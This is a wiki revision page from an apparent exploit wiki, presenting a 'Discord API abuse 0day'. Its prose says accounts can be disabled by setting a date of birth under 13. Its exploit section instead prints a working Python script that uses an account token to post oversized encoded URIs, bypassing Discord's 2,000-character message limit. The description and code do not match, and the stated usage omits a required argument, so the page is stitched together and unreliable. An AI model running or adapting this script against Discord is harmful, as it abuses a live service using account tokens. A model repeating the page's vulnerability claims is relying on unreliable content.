Difference between revisions of "Discord API濫用0day/en"
From PwnWiki
(建立內容為「Please note that accounts that have already set up DoB are not affected by this vulnerability.」的新頁面) |
(Updating to match new version of source page) |
||
| Line 1: | Line 1: | ||
| + | <languages /> | ||
| + | |||
{| style="margin: auto; width: 750px;" | {| style="margin: auto; width: 750px;" | ||
| style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" | | | style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" | | ||
| Line 16: | Line 18: | ||
Usage: | Usage: | ||
<pre> | <pre> | ||
| − | + | python example.py <token> | |
</pre> | </pre> | ||
| Line 62: | Line 64: | ||
main() | main() | ||
</pre> | </pre> | ||
| + | |||
== Author: == | == Author: == | ||
The original author is unknown. | The original author is unknown. | ||
Latest revision as of 17:14, 11 April 2021
|
Vulnerability principle:
Set the date of birth of the account to be less than 13 years old to disable tokens, because Discord will automatically disable accounts with owners less than 13 years old.
Please note that accounts that have already set up DoB are not affected by this vulnerability.
EXP:
Usage:
python example.py <token>
# Name: 2000 Characters Limit Bypass
# Description: Sends an URI that contains characters that gets URL encoded when sent, which increases the length of the message.
# Author: checksum (@0daySkid)
# Original founder: Siaxos
import requests
import random
import sys
class Exploit:
def __init__(self, token, channel):
self.token = token
self.channel_id = channel
self.headers = {'Authorization': token}
@property
def uri(self):
chars = ''.join(random.choice('\'"^`|{}') for _ in range(1993))
return f'<a://a{chars}>'
def execute(self):
""" send magical URI """
return requests.post(f'https://discordapp.com/api/v6/channels/{self.channel_id}/messages', headers=self.headers, json={'content': self.uri})
def main():
if len(sys.argv) < 3:
print(f'Usage: py {sys.argv[0]} <token> <channel id>')
sys.exit()
token = sys.argv[1]
channel_id = sys.argv[2]
exploit = Exploit(token, channel_id)
exploit.execute()
if __name__ == '__main__':
main()
Author:
The original author is unknown.